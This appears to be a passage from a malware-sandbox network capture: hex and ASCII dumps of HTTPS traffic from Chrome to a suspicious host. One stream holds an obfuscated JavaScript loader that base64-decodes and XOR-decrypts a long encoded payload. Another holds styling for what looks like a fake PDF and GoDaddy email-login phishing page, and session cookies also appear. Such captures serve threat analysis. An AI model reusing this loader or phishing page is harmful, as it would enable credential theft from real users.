2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 35 64 39 66 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 49 68 4b 65 59 4e 6f 53 69 6e 28 6d 4e 66 59 75 56 68 6d 59 62 2c 20 59 6e 6c 73 53 4c 59 6c 70 41 29 20 7b 0d 0a 6c 65 74 20 77 41 70 78 50 51 63 7a 49 44 20 3d 20 27 27 3b 0d 0a 6d 4e 66 59 75 56 68 6d 59 62 20 3d 20 61 74 6f 62 28 6d 4e 66 59 75 56 68 6d 59 62 29 3b 0d 0a 6c 65 74 20 74 6c 57 59 79 4b 53 4e 73 59 20 3d 20 59 6e 6c 73 53 4c 59 6c 70 41 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 6d 4e 66 59 75 56 68 6d 59 62 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 77 41 70 78 50 51 63 7a 49 44 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 4e 66 59 75 56 68 6d 59 62 2e 63 68 61 72 43 Data Ascii: 5d9f<script>function IhKeYNoSin(mNfYuVhmYb, YnlsSLYlpA) {let wApxPQczID = '';mNfYuVhmYb = atob(mNfYuVhmYb);let tlWYyKSNsY = YnlsSLYlpA.length;for (let i = 0; i < mNfYuVhmYb.length; i++) { wApxPQczID += String.fromCharCode(mNfYuVhmYb.charC
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 46 4a 67 45 54 4a 79 74 56 61 51 56 77 51 52 6c 77 4f 6a 51 4f 58 77 6f 37 52 55 52 78 47 6c 49 32 4e 6c 46 37 4b 31 30 64 4e 52 70 53 49 7a 77 63 50 48 41 51 46 53 35 57 42 6e 67 79 41 7a 38 72 45 46 4d 69 53 68 30 6b 4e 67 4d 72 4a 46 55 61 4c 77 56 51 4e 69 73 44 4e 7a 52 66 48 44 52 4c 55 47 6c 49 5a 6e 6c 74 45 6c 4e 39 56 42 73 35 4c 6b 77 72 4b 46 35 4f 59 30 67 41 4d 69 6b 44 4f 43 6b 51 55 79 6c 4b 46 7a 46 34 54 6d 46 30 56 6a 45 67 62 44 55 32 43 43 56 6f 65 56 45 58 41 67 73 31 4d 43 6b 68 62 33 6f 43 47 51 56 5a 45 47 39 31 54 6e 6b 73 51 55 35 6a 58 68 30 35 4d 55 35 35 4f 55 73 44 4a 41 56 51 4d 53 6f 43 4c 57 4a 46 48 43 64 65 51 48 56 6c 44 79 73 69 51 51 41 75 53 68 73 77 4c 41 4a 6b 62 31 4d 64 4c 6c 59 4c 4f 69 6f 5a 4b 6d 38 4d 66 6b Data Ascii: FJgETJytVaQVwQRlwOjQOXwo7RURxGlI2NlF7K10dNRpSIzwcPHAQFS5WBngyAz8rEFMiSh0kNgMrJFUaLwVQNisDNzRfHDRLUGlIZnltElN9VBs5LkwrKF5OY0gAMikDOCkQUylKFzF4TmF0VjEgbDU2CCVoeVEXAgs1MCkhb3oCGQVZEG91TnksQU5jXh05MU55OUsDJAVQMSoCLWJFHCdeQHVlDysiQQAuShswLAJkb1MdLlYLOioZKm8Mfk
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 4e 6a 39 57 46 6a 4d 43 55 6d 55 31 46 48 6b 2b 58 52 38 6f 58 46 4a 30 64 56 78 76 65 6c 42 4c 65 6a 56 34 64 32 56 4d 65 57 30 53 55 32 45 59 55 6e 64 6c 48 44 67 70 56 68 6f 76 58 30 68 33 63 42 77 68 62 51 46 44 4d 55 42 4a 57 6b 39 4d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 48 6b 72 58 52 30 31 46 51 45 2b 50 77 6c 6a 62 51 4e 47 4d 55 42 4a 57 6b 39 4d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 48 6b 75 52 77 45 79 56 77 42 74 5a 52 77 32 4a 46 77 48 4a 45 70 4a 57 6b 39 4d 65 57 30 53 55 32 45 59 55 69 70 49 5a 6e 6c 74 45 6c 4e 4d 4d 6c 4a 33 5a 55 78 35 62 52 4a 54 62 31 6f 47 4f 58 38 45 4e 6a 74 58 41 57 46 44 66 31 31 6c 54 48 6c 74 45 6c 4e 68 47 46 4a 33 5a 55 77 37 4c 46 45 59 4a 6b 6f 64 49 69 73 49 64 43 35 64 48 79 35 4b 53 48 64 6d 58 47 6c Data Ascii: Nj9WFjMCUmU1FHk+XR8oXFJ0dVxvelBLejV4d2VMeW0SU2EYUndlHDgpVhovX0h3cBwhbQFDMUBJWk9MeW0SU2EYUndlTHkrXR01FQE+PwljbQNGMUBJWk9MeW0SU2EYUndlTHkuRwEyVwBtZRw2JFwHJEpJWk9MeW0SU2EYUipIZnltElNMMlJ3ZUx5bRJTb1oGOX8ENjtXAWFDf11lTHltElNhGFJ3ZUw7LFEYJkodIisIdC5dHy5KSHdmXGl
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 6a 4d 73 47 6e 6b 6b 56 6b 35 6a 53 78 63 30 4d 51 55 32 49 30 46 52 59 56 73 65 4e 6a 59 66 5a 47 38 51 54 55 77 79 55 6e 64 6c 54 47 55 2b 56 78 41 31 55 52 30 35 5a 51 55 39 63 42 41 41 4a 46 73 47 50 69 6f 43 42 6a 6c 41 43 69 68 57 46 53 4d 71 48 7a 41 71 58 42 6f 76 47 6c 49 6b 4d 52 55 31 4b 41 39 52 49 46 59 62 4f 69 51 59 4d 43 4a 63 53 54 4a 51 48 53 42 6f 43 69 73 69 58 31 34 7a 55 52 55 2f 4d 55 78 70 59 77 63 41 65 68 70 53 4e 43 6b 4e 4b 6a 34 50 55 57 4d 47 66 31 31 6c 54 48 6c 74 45 6c 4e 68 47 45 34 7a 4c 42 70 35 4c 6c 34 53 4d 6b 74 50 64 53 51 5a 4c 53 55 66 42 44 4e 5a 41 69 63 67 48 6e 74 7a 50 33 6c 68 47 46 4a 33 5a 55 78 35 62 52 4a 54 59 52 68 4f 4d 79 77 61 65 53 35 65 45 6a 4a 4c 54 33 55 70 41 7a 67 70 57 78 30 6d 46 52 45 34 Data Ascii: jMsGnkkVk5jSxc0MQU2I0FRYVseNjYfZG8QTUwyUndlTGU+VxA1UR05ZQU9cBAAJFsGPioCBjlACihWFSMqHzAqXBovGlIkMRU1KA9RIFYbOiQYMCJcSTJQHSBoCisiX14zURU/MUxpYwcAehpSNCkNKj4PUWMGf11lTHltElNhGE4zLBp5Ll4SMktPdSQZLSUfBDNZAicgHntzP3lhGFJ3ZUx5bRJTYRhOMywaeS5eEjJLT3UpAzgpWx0mFRE4
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 4e 68 47 46 4a 33 5a 55 78 35 63 56 59 61 4e 78 67 52 4f 79 51 66 4b 6e 41 51 48 79 35 5a 46 6a 34 72 43 33 51 75 58 52 30 31 57 52 73 35 49 42 35 37 63 7a 39 35 59 52 68 53 64 32 56 4d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 47 55 70 57 77 56 68 57 78 34 32 4e 68 39 6b 62 31 59 63 4e 52 55 55 4f 79 6f 4e 4c 53 52 63 46 47 4d 47 54 6e 67 68 42 53 39 7a 50 33 6c 68 47 46 4a 33 5a 55 78 35 62 52 4a 54 59 52 68 53 64 32 56 4d 5a 53 6c 62 42 57 46 62 48 6a 59 32 48 32 52 76 56 68 77 31 46 52 51 37 4b 67 30 74 4a 46 77 55 59 77 5a 4f 65 43 45 46 4c 33 4d 2f 65 57 45 59 55 6e 64 6c 54 48 6c 74 45 6c 4e 68 47 46 4a 33 5a 55 78 6c 4b 56 73 46 59 56 73 65 4e 6a 59 66 5a 47 39 57 48 44 55 56 46 44 73 71 44 53 30 6b 58 42 52 6a 42 6b 35 34 49 51 55 76 63 7a 39 35 59 Data Ascii: NhGFJ3ZUx5cVYaNxgROyQfKnAQHy5ZFj4rC3QuXR01WRs5IB57cz95YRhSd2VMeW0SU2EYUndlTGUpWwVhWx42Nh9kb1YcNRUUOyoNLSRcFGMGTnghBS9zP3lhGFJ3ZUx5bRJTYRhSd2VMZSlbBWFbHjY2H2RvVhw1FRQ7Kg0tJFwUYwZOeCEFL3M/eWEYUndlTHltElNhGFJ3ZUxlKVsFYVseNjYfZG9WHDUVFDsqDS0kXBRjBk54IQUvcz95Y
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 72 4b 46 52 4f 59 78 74 51 64 79 45 4e 4c 53 77 66 47 69 55 46 55 43 51 73 43 7a 63 34 51 6c 46 68 56 78 77 30 4b 51 55 36 4a 67 39 52 4c 56 45 63 50 43 6f 63 4c 53 52 64 48 53 4a 55 47 7a 51 75 52 43 30 6c 57 77 42 6f 47 6c 49 30 4b 51 30 71 50 67 39 52 4c 56 45 63 50 47 64 53 47 6a 39 58 45 6a 56 64 55 6a 67 72 43 58 68 78 48 52 4a 2f 42 46 30 6e 65 31 41 34 62 56 45 66 49 45 73 42 61 6d 63 41 4d 43 4e 5a 55 79 78 61 58 32 5a 7a 54 6e 6b 70 55 77 63 67 46 52 73 7a 65 45 34 36 4c 46 77 48 41 46 73 52 4d 6a 59 66 47 43 35 52 48 44 52 57 42 6e 56 6c 41 7a 63 75 58 68 6f 69 55 30 39 31 4b 51 55 33 4a 6c 30 44 4e 56 45 64 4f 53 59 41 4d 43 35 5a 57 7a 56 51 47 79 52 73 54 6e 6b 6c 51 42 59 6e 42 56 42 30 5a 31 49 61 4c 46 78 55 4e 52 67 54 4e 43 59 4a 4b 6a Data Ascii: rKFROYxtQdyENLSwfGiUFUCQsCzc4QlFhVxw0KQU6Jg9RLVEcPCocLSRdHSJUGzQuRC0lWwBoGlI0KQ0qPg9RLVEcPGdSGj9XEjVdUjgrCXhxHRJ/BF0ne1A4bVEfIEsBamcAMCNZUyxaX2ZzTnkpUwcgFRszeE46LFwHAFsRMjYfGC5RHDRWBnVlAzcuXhoiU091KQU3Jl0DNVEdOSYAMC5ZWzVQGyRsTnklQBYnBVB0Z1IaLFxUNRgTNCYJKj
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 64 53 45 44 4c 57 42 55 48 79 35 5a 42 6a 34 72 43 33 74 7a 44 6c 77 6c 55 51 52 70 53 47 5a 35 62 52 4a 54 59 52 68 53 64 32 56 4d 65 57 30 53 55 32 45 59 54 6a 4d 73 47 6e 6b 75 58 68 49 79 53 30 39 31 49 51 4d 74 59 46 51 66 4c 6c 6b 47 50 69 73 4c 65 33 4d 4f 58 43 56 52 42 47 6c 49 5a 6e 6c 74 45 6c 4e 68 47 46 4a 33 5a 55 78 35 62 51 35 63 4a 56 45 45 61 55 68 6d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 48 6c 74 44 68 63 6f 54 6c 49 30 4b 51 30 71 50 67 39 52 4d 6c 30 52 49 79 77 44 4e 79 35 64 48 54 56 64 48 43 4e 6e 55 6c 52 48 45 6c 4e 68 47 46 4a 33 5a 55 78 35 62 52 4a 54 66 56 77 62 49 57 55 50 4e 53 78 42 41 48 77 61 45 44 59 72 41 6a 77 2f 58 68 77 6d 56 31 42 33 4a 67 41 34 50 6b 46 4f 59 31 78 66 4e 53 6b 44 4f 69 59 51 54 58 30 58 46 6a 34 Data Ascii: dSEDLWBUHy5ZBj4rC3tzDlwlUQRpSGZ5bRJTYRhSd2VMeW0SU2EYTjMsGnkuXhIyS091IQMtYFQfLlkGPisLe3MOXCVRBGlIZnltElNhGFJ3ZUx5bQ5cJVEEaUhmeW0SU2EYUndlTHltDhcoTlI0KQ0qPg9RMl0RIywDNy5dHTVdHCNnUlRHElNhGFJ3ZUx5bRJTfVwbIWUPNSxBAHwaEDYrAjw/XhwmV1B3JgA4PkFOY1xfNSkDOiYQTX0XFj4
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 79 42 4c 41 57 70 6e 44 53 77 35 57 6c 34 32 53 68 4d 6e 4e 51 6b 72 62 77 78 2b 53 78 68 53 64 32 56 4d 65 57 30 53 55 32 45 59 55 6d 73 68 42 53 39 74 55 52 38 67 53 77 46 71 5a 77 41 32 4c 46 59 61 4c 31 39 66 4e 43 6f 43 4c 53 78 62 48 53 52 4b 55 47 6c 49 5a 6e 6c 74 45 6c 4e 68 47 46 4a 33 5a 55 78 35 62 52 4a 54 59 52 68 4f 4d 79 77 61 65 53 35 65 45 6a 4a 4c 54 33 55 68 41 79 31 67 56 42 38 75 57 51 59 2b 4b 77 74 37 63 77 35 63 4a 56 45 45 61 55 68 6d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 48 6c 74 45 6c 4e 68 47 45 34 7a 4c 42 70 35 4c 6c 34 53 4d 6b 74 50 64 53 45 44 4c 57 42 55 48 79 35 5a 42 6a 34 72 43 33 74 7a 44 6c 77 6c 55 51 52 70 53 47 5a 35 62 52 4a 54 59 52 68 53 64 32 56 4d 65 57 30 53 55 32 45 59 54 6a 4d 73 47 6e 6b 75 58 68 49 79 Data Ascii: yBLAWpnDSw5Wl42ShMnNQkrbwx+SxhSd2VMeW0SU2EYUmshBS9tUR8gSwFqZwA2LFYaL19fNCoCLSxbHSRKUGlIZnltElNhGFJ3ZUx5bRJTYRhOMywaeS5eEjJLT3UhAy1gVB8uWQY+Kwt7cw5cJVEEaUhmeW0SU2EYUndlTHltElNhGE4zLBp5Ll4SMktPdSEDLWBUHy5ZBj4rC3tzDlwlUQRpSGZ5bRJTYRhSd2VMeW0SU2EYTjMsGnkuXhIy
2024-04-24 21:08:00 UTC	1369	IN	Data Raw: 74 7a 50 33 6c 68 47 46 4a 33 5a 55 78 35 62 52 4a 54 59 52 68 4f 4e 6d 55 49 4f 44 6c 54 58 69 68 63 54 33 55 57 47 7a 41 35 55 52 73 55 53 78 63 6c 5a 30 77 32 49 31 45 66 4b 46 73 5a 61 6d 63 41 4d 43 4e 5a 48 44 46 4d 47 7a 67 72 44 7a 55 6b 55 52 68 70 54 42 6f 2b 4e 6b 56 37 62 56 45 66 49 45 73 42 61 6d 63 43 4e 6d 42 46 41 53 42 49 55 48 63 74 48 6a 77 72 44 31 46 69 47 6b 77 45 4c 41 73 33 62 56 30 47 4e 52 67 54 4f 53 46 4d 4b 69 52 56 48 57 46 52 48 48 63 79 42 53 30 6c 45 68 4a 68 58 42 73 78 49 77 6b 72 4b 46 77 48 59 56 6b 52 4e 43 6f 5a 4e 7a 6b 4f 58 43 41 47 66 31 31 6c 54 48 6c 74 45 6c 4e 68 47 46 4a 33 5a 55 78 6c 59 6c 59 61 4e 77 5a 2f 58 57 56 4d 65 57 30 53 55 32 45 59 55 6e 64 6c 54 47 55 70 57 77 56 68 57 78 34 32 4e 68 39 6b 62 Data Ascii: tzP3lhGFJ3ZUx5bRJTYRhONmUIODlTXihcT3UWGzA5URsUSxclZ0w2I1EfKFsZamcAMCNZHDFMGzgrDzUkURhpTBo+NkV7bVEfIEsBamcCNmBFASBIUHctHjwrD1FiGkwELAs3bV0GNRgTOSFMKiRVHWFRHHcyBS0lEhJhXBsxIwkrKFwHYVkRNCoZNzkOXCAGf11lTHltElNhGFJ3ZUxlYlYaNwZ/XWVMeW0SU2EYUndlTGUpWwVhWx42Nh9kb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49759	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1403	OUT	GET /56ghqiC6i6EZZmmqxyr895G6720 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:03 UTC	645	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:03 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56ghqiC6i6EZZmmqxyr895G6720" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2BJpPChggGIbx2ZEiH1mTAZ%2BvsVxoK1S%2F2kf%2FnPsH2TheNpV22XpHldOv3hJDwCQ6DwMJNs5B5ooM%2Bc32e4qObM%2BYSXiXZXZ2Ke9OzcTJQT1sPao6HPvDPuasJUreQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f24dec2eb4-LAX
2024-04-24 21:08:03 UTC	724	IN	Data Raw: 33 37 39 66 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 379f*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 Data Ascii: PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 61 64 69 75 73 3a 32 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 Data Ascii: adius:20%;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2)
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 Data Ascii: ckground:rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-d
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f Data Ascii: align-items:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sectio
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 Data Ascii: ns_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d Data Ascii: outform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-
